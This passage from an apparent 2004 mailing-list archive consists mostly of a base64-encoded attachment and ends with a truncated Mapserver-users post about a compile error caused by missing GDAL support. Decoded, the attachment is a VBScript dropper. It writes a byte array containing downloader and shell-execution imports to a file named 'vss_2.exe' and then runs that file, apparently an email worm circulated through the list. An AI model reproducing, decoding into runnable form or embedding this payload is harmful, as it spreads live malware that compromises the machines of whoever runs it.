LDgwLDI1MSwxMiw3LDIsMjIzLDg4LDEzLDY0LDExLDExMCwyMiwxMDgsNTcsMiw0LDUxLDcs MTIsMTkyLDIwNiwyMjAsMTQ2LDIwOCwzMCw1MiwxNiw3LDE3OSwxODgsMzYsMjIyLDYsNzks MjA4LDk3LDIyMCw5MywzMiwxNDQsMjAzLDE5MiwxNjAsMywxNjcsMTk2LDI1MSwxNTQsMTc0 LDE3NiwxLDMwLDQ2LDE5NSwxMTYsMjM1LDY2LDE0NCwxMTksMjMsMjQ2LDUsMjM1LDQsMzUs MzIsMzAsNDYsMTE0LDEwMCwxMTYsMTMxLDIzNywxMCwxNzUsMTYzLDcwLDExLDI1MSwxMiwz OSw3MiwyMTcsOTgsMjIxLDEzMyw2NCwyLDQ2LDM4LDcxLDExNywxMDksNzQsMTU0LDIzOCwx MTIsMzksNTgsODQsMTkyLDc5LDYsMjcsMTA4LDEyOSwxMTUsMTMwLDAsMjM1LDE5MiwxMTUs MTQyLDE5MiwxOTEsMjIzLDIwMiwzOSwyNywxMTIsMTAwLDEzLDMzLDE5OCwwLDAsMCwwLDAs MCwwLDAsMzIsMSwyNTUsMCwwLDk2LDE5MCwzNywxNjAsNjQsMCwxNDEsMTkwLDIxOSwxMTEs MjU1LDI1NSw4NywxMzEsMjA1LDI1NSwyMzUsMTYsMTQ0LDE0NCwxNDQsMTQ0LDE0NCwxNDQs MTM4LDYsNzAsMTM2LDcsNzEsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3LDIx OSwxMTQsMjM3LDE4NCwxLDAsMCwwLDEsMjE5LDExNyw3LDEzOSwzMCwxMzEsMjM4LDI1Miwx NywyMTksMTcsMTkyLDEsMjE5LDExNSwyMzksMTE3LDksMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxMTUsMjI4LDQ5LDIwMSwxMzEsMjMyLDMsMTE0LDEzLDE5MywyMjQsOCwxMzgsNiw3 MCwxMzEsMjQwLDI1NSwxMTYsMTE2LDEzNywxOTcsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwy MzgsMjUyLDE3LDIxOSwxNywyMDEsMSwyMTksMTE3LDcsMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxNywyMDEsMTE3LDMyLDY1LDEsMjE5LDExNyw3LDEzOSwzMCwxMzEsMjM4LDI1Miwx NywyMTksMTcsMjAxLDEsMjE5LDExNSwyMzksMTE3LDksMTM5LDMwLDEzMSwyMzgsMjUyLDE3 LDIxOSwxMTUsMjI4LDEzMSwxOTMsMiwxMjksMjUzLDAsMjQzLDI1NSwyNTUsMTMxLDIwOSwx LDE0MSwyMCw0NywxMzEsMjUzLDI1MiwxMTgsMTUsMTM4LDIsNjYsMTM2LDcsNzEsNzMsMTE3 LDI0NywyMzMsOTksMjU1LDI1NSwyNTUsMTQ0LDEzOSwyLDEzMSwxOTQsNCwxMzcsNywxMzEs MTk5LDQsMTMxLDIzMyw0LDExOSwyNDEsMSwyMDcsMjMzLDc2LDI1NSwyNTUsMjU1LDk0LDEz NywyNDcsMTg1LDcsMCwwLDAsMTM4LDcsNzEsNDQsMjMyLDYwLDEsMTE5LDI0NywxMjgsNjMs MCwxMTcsMjQyLDEzOSw3LDEzOCw5NSw0LDEwMiwxOTMsMjMyLDgsMTkzLDE5MiwxNiwxMzQs MTk2LDQxLDI0OCwxMjgsMjM1LDIzMiwxLDI0MCwxMzcsNywxMzEsMTk5LDUsMTM3LDIxNiwy MjYsMjE3LDE0MSwxOTAsMCwxOTIsMCwwLDEzOSw3LDksMTkyLDExNiw2MCwxMzksOTUsNCwx NDEsMTMyLDQ4LDE2NCwyMjcsMCwwLDEsMjQzLDgwLDEzMSwxOTksOCwyNTUsMTUwLDEyOCwy MjgsMCwwLDE0OSwxMzgsNyw3MSw4LDE5MiwxMTYsMjIwLDEzNywyNDksODcsNzIsMjQyLDE3 NCw4NSwyNTUsMTUwLDEzMiwyMjgsMCwwLDksMTkyLDExNiw3LDEzNywzLDEzMSwxOTUsNCwy MzUsMjI1LDI1NSwxNTAsMTM2LDIyOCwwLDAsOTcsMjMzLDQsMTA4LDI1NSwyNTUsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDIsMCwzLDAs MCwwLDMyLDAsMCwxMjgsMTQsMCwwLDAsOTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMSwwLDEsMCwwLDAsNTYsMCwwLDEyOCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMCwwLDAsODAsMCwwLDAsMTY0LDI0MCwwLDAsMjMyLDIsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMSwwLDEsMCwwLDAsMTIw LDAsMCwxMjgsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEsMCwwLDAsMCwwLDE0NCww LDAsMCwxNDQsMjQzLDAsMCwyMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTYwLDE5MiwwLDAs NDAsMCwwLDAsMzIsMCwwLDAsNjQsMCwwLDAsMSwwLDQsMCwwLDAsMCwwLDEyOCwyLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEyOCwwLDAsMTI4 LDAsMCwwLDEyOCwxMjgsMCwxMjgsMCwwLDAsMTI4LDAsMTI4LDAsMTI4LDEyOCwwLDAsMTI4 LDEyOCwxMjgsMCwxOTIsMTkyLDE5MiwwLDAsMCwyNTUsMCwwLDI1NSwwLDAsMCwyNTUsMjU1 LDAsMjU1LDAsMCwwLDI1NSwwLDI1NSwwLDI1NSwyNTUsMCwwLDI1NSwyNTUsMjU1LDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCw3LDExOSwxMTksMTE5LDExOSwxMTksMTE5LDAsMCwwLDAsMCwwLDAsMCww LDcsMTM2LDEzNiwxMzYsMTM2LDEzNiwxMzUsMCwwLDAsMCwwLDAsMCwwLDAsNyw1NiwxMzYs NTEsNTYsMTM2LDU1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTc5LDEzMSwwLDMsMTMxLDEzNSww LDAsMCwwLDAsMCwwLDAsMCw3LDI1NSw0OCwyNTUsMTc2LDU2LDEzNSwwLDAsMCwwLDAsMCww LDAsMCw3LDE4NCwxNSwxOTEsMjU1LDMsMTM1LDAsMCwwLDAsMCwwLDAsMCwwLDcsMTI4LDE5 MSwyNTUsMTkxLDI0MCw1NSwwLDAsMCwwLDAsMCwwLDAsMCw3LDE1LDI1NSwxOTEsMjU1LDE5 MSwzLDAsMCwwLDAsMCwwLDAsMCwwLDcsMjU1LDE5MSwyNTUsMTkxLDI1NSwxNzYsMCwwLDAs MCwwLDAsMCwwLDAsNywxMTksMTE5LDExOSwxMTksMTE5LDExOSwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1 NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUs MjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgs MSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEy OCwxLDI1NSwyNTUsMTI4LDEsMjU1LDI1NSwxMjgsMSwyNTUsMjU1LDEyOCwxLDI1NSwyNTUs MjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMjU1LDI1NSwyNTUsMTM2LDE5 NSwwLDAsMCwwLDEsMCwxLDAsMzIsMzIsMTYsMCwxLDAsNCwwLDIzMiwyLDAsMCwxLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMjE2LDI0NCwwLDAsMTI4LDI0NCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMjI5LDI0NCwwLDAsMTQ0LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMjQyLDI0NCwwLDAsMTUyLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMjUyLDI0NCwwLDAsMTYwLDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNiwy NDUsMCwwLDE2OCwyNDQsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE4LDI0NSwwLDAs MTc2LDI0NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMzAsMjQ1LDAsMCwxODQsMjQ0 LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw0MSwyNDUsMCwwLDE5MiwyNDQsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDUyLDI0NSwwLDAsMjAwLDI0NCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsNjQsMjQ1LDAsMCwyMDgsMjQ0LDAsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsNzYsMjQ1LDAsMCw5MCwyNDUsMCwwLDEwNiwyNDUs MCwwLDAsMCwwLDAsMTIwLDI0NSwwLDAsMCwwLDAsMCwxMzQsMjQ1LDAsMCwwLDAsMCwwLDE0 NCwyNDUsMCwwLDAsMCwwLDAsMTU4LDI0NSwwLDAsMCwwLDAsMCwxNzQsMjQ1LDAsMCwwLDAs MCwwLDE4NCwyNDUsMCwwLDAsMCwwLDAsMjA0LDI0NSwwLDAsMCwwLDAsMCwyMTYsMjQ1LDAs MCwwLDAsMCwwLDIzMiwyNDUsMCwwLDAsMCwwLDAsNzUsNjksODIsNzgsNjksNzYsNTEsNTAs NDYsNjgsNzYsNzYsMCw5NywxMDAsMTE4LDk3LDExMiwxMDUsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMDMsMTAwLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExMSwxMDgsMTAxLDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsODMsNzIsNjksNzYsNzYsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMTUsMTA0LDEwOCwxMTksOTcsMTEyLDEwNSw0NiwxMDAsMTA4LDEwOCwwLDExNywx MTQsMTA4LDEwOSwxMTEsMTEwLDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNSwxMDEsMTE0LDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTE5LDEwNSwxMTAsMTA1LDExMCwxMDEsMTE2LDQ2LDEw MCwxMDgsMTA4LDAsMTE5LDExNSwxMTEsOTksMTA3LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAs MCwwLDc2LDExMSw5NywxMDAsNzYsMTA1LDk4LDExNCw5NywxMTQsMTIxLDY1LDAsMCw3MSwx MDEsMTE2LDgwLDExNCwxMTEsOTksNjUsMTAwLDEwMCwxMTQsMTAxLDExNSwxMTUsMCwwLDY5 LDEyMCwxMDUsMTE2LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMCwwLDAsODIsMTAxLDEw Myw2NywxMDgsMTExLDExNSwxMDEsNzUsMTAxLDEyMSwwLDAsMCw2OCwxMDEsMTA4LDEwMSwx MTYsMTAxLDY4LDY3LDAsMCw2NywxMTEsNzMsMTEwLDEwNSwxMTYsMTA1LDk3LDEwOCwxMDUs MTIyLDEwMSwwLDAsODMsMTA0LDEwMSwxMDgsMTA4LDY5LDEyMCwxMDEsOTksMTE3LDExNiwx MDEsNjUsMCwwLDAsODMsMTE2LDExNCw2OCwxMTcsMTEyLDY1LDAsMCwwLDg1LDgyLDc2LDY4 LDExMSwxMTksMTEwLDEwOCwxMTEsOTcsMTAwLDg0LDExMSw3MCwxMDUsMTA4LDEwMSw2NSww LDAsMTE5LDExNSwxMTIsMTE0LDEwNSwxMTAsMTE2LDEwMiw2NSwwLDAsMCw3MywxMTAsMTE2 LDEwMSwxMTQsMTEwLDEwMSwxMTYsNzksMTEyLDEwMSwxMTAsNjUsMCwwLDAsOTgsMTA1LDEx MCwxMDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTYyLDE0NCw0MCwx ODMsMTE3LDE1Niw1Niw1NiwxMDQsMTA4LDE1MCwxNSwxNzcsMTc1LDExNCwzNiw4Nyw3Miwx NTYsNjAsMTkyLDk0LDg0LDE3MCwxMzksMTEzLDExNCwxODUsNzAsNDEsMTM1LDExMiwxODQs MTIxLDYzLDEwMiwxNzMsMTc3LDEzNyw4NCwxMTUsNzIsMTI0LDcwLDE0MCwxNDcsMTExLDAs MTYxLDE1MiwxNTMsMjUsMTM5LDcsMTUyLDU4LDkyLDY0LDc1LDczLDEsMTA2LDE2MCwxMTgs MzcsMTE5LDE4MCwzNCwxNjEsMTM5LDE5MSwxNjEsODksMTc0LDkxLDQ5LDEwOSwxMDIsNTMs MTE4LDEsMTE5LDE4MCwyOSw2MCw0OCwxOTAsOTksMTEsNzYsMjUsMTExLDgzLDY1LDE4LDcz LDkwLDk5LDEwNCwxNDAsOTgsMTIzLDE2OCwxODAsOTEsMTAxLDYwLDEzLDEzMywxNTMsMTcw LDUsNTMsODUsMTI4LDE3NywxNzksMTI4LDE4LDUwLDE2OCwyMiw3MCwxMjUsMTM3LDEsMTQ2 LDE1MCwxOTYsMTU2LDQsMTk4LDI1LDc0LDE2MCwxNTIsNTgsMTA2LDEzNSwxOTUsNDQsNjcs NzQsMTMsMTk0LDE3MywxNDUsMzIsNzUsOSw0MiwxNzcsOTMsNDEsOTcsMTYyLDM1LDY5LDEw NSw2NSwzNiwxMjksMTU0LDEzNyw0NSwxOSwxOTQsMTUxLDY4LDE2OCwyOSwzMywxMzgsMTA3 LDc4LDU3LDE0NiwzNSwxMzAsMTgxLDE1MSwxNTgsOTgsMjUsNzksNzksMTc2LDQ1LDU1LDcy LDgyLDExLDM1LDE4OSwxOTYsNDgsNjYsMTgxLDg2LDg0LDUxLDEyOSwxNjIsNTMsMTQxLDU2 LDE1Myw2OCw1Niw2MiwxNzMsMTQ1LDE2OSw3Niw3LDExNywxODAsMTI3LDU1LDkzLDE5Miwz MCwxNTMsMTMsMTM0LDUzLDI0LDEyNSw1MywxODIsNDUsMTcsMTcwLDE0MSwxNDcsMTk1LDEz MCwyMyw4LDE2OCw1NSw4MSwxMzMsMTE5LDE3MSwxMywxODksOTEsMTgyLDEzMywxMDcsOTcs MTgxLDY1LDUwLDUwLDI0LDEyNSwxMjcsMzEsOTQsMTIsMTEyLDUsMTU3LDI1LDEwMiwxMzcs NzUsODIsNjcsMTQyLDE4MCwxNzIsNyw4LDIxLDIsNzgsMTcxLDE3LDE0NCwxNjMsMTg4LDg2 LDE0Myw4Niw5MywxNDUsMTQsOTIsMjQsMjYsOSwxNTYsMTE4LDIyLDE2Nyw0OSwxMzYsOTIs MTAsMTQ4LDE3MCw1Niw2NSw1MiwxMzUsNTcsNTIsMTAwLDE0MSwxMTAsMTg1LDY4LDEzNSwx ODAsMTE4LDE5NywxOTcsMTgyLDkwLDE0OCwxMjUsNjAsMTM2LDE5OSw0LDE4OSw4NSwxMDIs NDAsMTk1LDEzMSwxNzgsNzYsMTg2LDU5LDgzLDk5LDMzLDE1NiwxNjgsMTksMTMsMTAzLDYz LDEzNiwxMDcsMTYsMTc1LDU4LDQ0LDczLDE5OSwzMCw0MSwxOTcsOTYsMTk5LDE2LDE1NSwx NDAsMTI4LDYyLDM4LDM1LDExMywxMjEsOCw1MiwxNiwxMTEsNzUsNzEsMTgzLDEwNyw2NCw4 LDAsNzQsMTIyLDEyMiwxMzksMzksMTA1LDE4MSwxNzQsOCwxNTgsMTcsMTI2LDE3NiwxODQs NTgsNTUsODYsOTAsNDcsODIsMzMsMTQ2LDE0Myw4MywxMCwzNywxMDIsMTYyLDEyMCwxOTUs MTUzLDEyOCwxMTMsMTkwLDIzLDExLDIsMTkxLDExMiw0NywxODEsMjYsMTY1LDE5Niw3OSwx NzUsMzAsMSwxMjMsMTg3LDE0NCw3MSwyOSw1NywxNjksMTE2LDE1NSwxODgsMTcyLDg5LDc4 LDMyLDE4OCw2MiwxODQsOTEsMTIzLDE4Myw4OCwxNDEsMjUsODMsMTIwLDcyLDE1MCwxMzQs MTkxLDEwMCw0NCw3OSw1NSwxMjAsMjUsMTI4LDMxLDQyLDExOCwxMjksMTY0LDIwLDE4Nyw0 OCw2LDE2OSw3NiwxNjEsMTMwLDE0MCwxMjQsNiwxMjEsODAsMTUwLDEyLDE4MywxMTcsMywx NzYsMTM5LDg2LDgxLDksMTkxLDQzLDEzMywxNTEsNjcsMTAyLDExNyw5MCwxNTIsMjEsODks NTIsMTksMTE5LDEyNCwxNjUsNDksOTcsOTgsMTcyLDk1LDE5OSwwLDg1LDYsMTY2LDE2Myw2 NCw0NywxOTMsMTU5LDEyOCw3NCwyMCw5Myw5NCwxNSwxMzgsMjQsMCwxNjQsMTIwLDE0Niw4 NCw4LDE5NSwxNTcsMTk5LDEzMiwyMCwxLDQ2LDc0LDksMTY1LDk4LDE4Miw1NSwxMjgsMTE3 LDEzMSwxOTIsNTAsODQsODMsMTUwLDQwLDk0LDU2LDU1LDE1Miw1LDE4NiwxODgsODksNjks NDMsMzAsNzUsMjIsMTY0LDE1Miw3OCwxMzIsNDUsMTM3LDE4NywxOTMsMTcxLDE3OSwxNDgs MTQ4LDE2MCwxMDAsMjMsMTcyLDk2LDE3NiwxMDAsMTI2LDE1NiwxNDEsMTY2LDMyLDE4Niwx MywxODIsMTc2LDE1NCw2NSwxMzUsMTQwLDEwOSwxNzIsMTM1LDkzLDE2MywxNDgsMTMsOTgs MTMwLDE5OSwxNTgsMjcsMTYyLDE3OSwzMiw3LDU2LDM3LDYsMzQsMjEsMjAsNDMsNjAsNDcs MTY5LDgsMTksOTMsMTk2LDE4MiwxMDMsMzYsMTU1LDE5OSwzMywxMzIsNCw3NCw1Miw1LDE4 MSw0MiwxMywxOTIsMTY1LDEzOSwxMzIsMzksMTkzLDE0NywyOCw0MiwxMDEsMzUsNzcsMTUy LDEzNywyMCwxNDEsMTc3LDk2LDM5LDMwLDEwMCw3OCwxMywxNDcsMzIsOTAsMTEyLDE3Nywx MjUsMTg0LDEyNCwxMDgsMTcsOTMsNTcsNjcsNTEsMTI1LDY1LDE3Niw3Nyw3OSw0NiwxMDks NjQsMTI3LDU5LDc4LDc5LDI3LDY5LDE5Myw2MywxOTYsNDksNzcsMTQwLDkyLDE2OSwxMjQs NTEsNzIsODYsMTY5LDEwNCwxODMsNTAsMTU5LDY4LDMzLDEsMiwwLDg1LDk3LDE3OSwxMjks MTU3LDM4LDQ0LDkzLDEzOSwxOTQsMTAyLDE4NiwxMjUsMTgwLDE3Miw3MSw2Nyw5MiwxNDQs MjgsMTkyLDE2MCw1NCwxMDMsNiwxNDEsMTY0LDExNyw2NywxNjEsMjgsMTQ0LDE2Nyw2Niw2 NiwxOSw0MCwxOSw0Miw4MywxNyw1Niw5MywxNDMsMjcsMTcwLDY4LDc1LDUyLDczLDc5LDgs NCwxMywxNDMsMTA1LDY4LDEyMyw5NSwxNjcsMTY4LDcyLDY1LDY0LDcwLDEyMCwyNCw0LDE3 Nyw0Myw3OSwyOSwxMyw1OSwxMjIsNzgsMjUsMTgwLDIsNTAsMTQsNDMsNiwyMiwxMTMsMTEz LDQxLDE1OCw5NiwxMjAsMTI4LDcyLDE1NiwxMDcsMTQyLDE4Niw4MiwxMzgsNzUsMiwxNDEs ODgsODYsNzksMTgwLDE2MiwxNDUsMTc2LDEyNCwxMywxNjksMTY4LDE4MCw0LDkzLDEwMywx MzksMTgyLDEzMiw2NSw4MiwxMDAsMTQ2LDEyOCwxNzUsODAsMTc1LDE3MywxODEsMTMsOTMs MTg3LDE3NiwxMDIsMTQ4LDM2LDM5LDUyLDE2MSwyOCw4MSw3LDEzNyw4NSwxNTgsMTIwLDEw Miw5OSwxODIsMTkxLDQzLDExOSwxNTIsMzEsMzgsMTAzLDEyMCwyNyw1OSw4MCwzMywxMDcs MTg1LDkyLDQ5LDg3LDU1LDcsMTUyLDUzLDE2MiwxNjMsNTIsMjEsMTU0LDEwOSw5OSwxNDMs MTk3LDE2NiwxMjUsNzIsNTgsMjksMTc5LDQyLDExOCwxMTQsNCwxNywxNjIsODgsMTYwLDEz NCwxOTMsMTEsMTk1LDMyLDE5MSw0MSw3LDk3LDEwNiw0Nyw4NywxODcsNTgsMTQ5LDE3MSw3 NSwxNzgsMTEzLDE5OSw0MSwxNDksMTAwLDExNywxNDAsNDgsMzgsMjAsMTA2LDEwNywxNzMs NzIsMTc4LDc2LDQyLDExMiw3NSwyNywzNywxNTksMTkwLDE5NSwzLDQxLDM0LDE5LDI1LDY4 LDEwOSwxMzIsMTcyLDU3LDEyMCwxMjQsMTA2LDE1Nyw1NiwxNDUsMTkwLDQyLDI3LDE4Mywy MSwxNTQsMTAyLDE5MywyNiw1OCw4NywxODMsNDUsNjksNzksNzEsNTAsODgsMTI4LDExMiwx MSwxNDUsOTUsMTgxLDEwOCwyOCwxNDIsNiwzLDEsMTIxLDM2LDE5NSwxOTMsNTMsMTY3LDU0 LDE5NywyNSwxNiwxMTksNzIsMTczLDEzOCw3OCwxOTgsMTM5LDQ4LDE5MywzMCwxNzgsNzUs ODgsODQsNzAsODMsMTIxLDE5LDYzLDE1MCwxMjYsMTAzLDE0NiwzNCw3NSw5OSwyOCw1Myw0 MiwzMywxODUsNDQsMTcyLDEzMiwxNiw3MywxMjEsMTE0LDE0NiwxOTQsMTI4LDM3LDEyOSwx MTAsMTk5LDE4OCw5MSw0MywxMzcsNDEsMTc5LDE5NCwxODYsNjMsMTY1LDEyNiwxMSwyOCw1 Myw0NywxMTAsMTU1LDQzLDM3LDE5NSw3NywxOTYsMTQ2LDcxLDEwNiwzOCwxNDIsMTg4LDE5 MiwxODgsMTQyLDE3LDQzLDEzOCw2OCwxMTksMTAzLDgsNCwxNDgsMTYzLDE2MiwyMCwxODMs MTU2LDE1OSwxOTEsMTA3LDc3LDE5LDE4LDM2LDY2LDE3NywxMDIsMTU0LDE2MSwxNjIsMTAw LDE0MSwyOSw2NSwxOTksMTgyLDE1OSwxNTQsOTIsNjEsMTI0LDEyMSwxMzUsMTc1LDE3NSw3 OCwxMDAsOTIsMywxOTksMTM3LDU0LDE2Niw1Niw2Niw0MywxMzgsMTE2LDQxLDEwMCw5Nywx MjgsODAsNywxNjIsMTE4LDEzMSw1OCwxODMsMTM2LDEyNiwxNSwxMzgsMTI1LDE4NywxODEs NywwLDE3MSwxMTQsNjcsODksMTYsMTM5LDE3NSwwLDE4OSw4NiwxNTgsNjAsNzEsNDEsMTM4 LDE3NCwxMzIsOTAsMTcxLDE2OCw0NywxOTgsMTk4LDU3LDEzMCw0OCw2Miw1Nyw4OSwxODQs ODcsMTk2LDcxLDU1LDEzNCwyNSw2NiwxOTksMTM1LDEwNywyNCwxNDEsMTQ1LDQxLDY0LDEw MCwxNTQsMTYsMTcxLDkzLDEwMyw0MSwzNiwxMjksMTE0LDE2MSwxOCwxNzIsMTcxLDE4MCwx NzAsMTEyLDc2LDEwNiw4LDIyLDg4KQ0KZm9yIGk9MCB0byAyMTE5Nw0KZmlsZXR4dC5Xcml0 ZShjaHIoYShpKSkpDQpuZXh0DQpmaWxldHh0LkNsb3NlDQpkaW0geg0KZGltIHp6DQpDb25z dCBGb3JSZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVuZGluZyA9IDMNCmNv bnN0IFJlbW90ZUV4ZSA9ICJ2c3NfMi5leGUiDQpzZXQgenogPSB3c2NyaXB0LmNyZWF0ZW9i amVjdCgid3NjcmlwdC5zaGVsbCIpDQp6ID0genoucnVuICgidnNzXzIuZXhlIikNCndzY3Jp cHQucXVpdA0K ----------kwrhpezjudyczaqzosdo-- From hric at ozemail.com.au Sun May 9 19:02:41 2004 From: hric at ozemail.com.au (HRIC) Date: Mon, 10 May 2004 12:02:41 +1000 Subject: [Mapserver-users] Problem Compiling Mapserver/Mapscript Message-ID: <000001c43632$e084f0d0$3600a8c0@HRIC.local> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C43686.B23100D0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I configured and made mapserver/mapscript successfully using . ./configure -withgd=/usr/local/ --with-jpeg -with-freetype -with-png -with-httpd=/usr/local/apache2/bin/httpd -with-php=/home/anna/php-4.3.6/ --with-proj However, when I try to add a raster layer to my map I get the following error: Warning: [Mapserver Error]: msDrawRasterLayer(): Attempt to render raster layer to IMAGEMODE RGB or RGBA but without GDAL available. 24-bit output requires GDAL. In /usr/local/apache2/htdocs/tiki/tiki-map.phtml on line 242 Fatal error: Call to a member function on a non-object in /usr/local/apache2/htdocs/tiki/tiki-map.phtml on line 243. These lines are 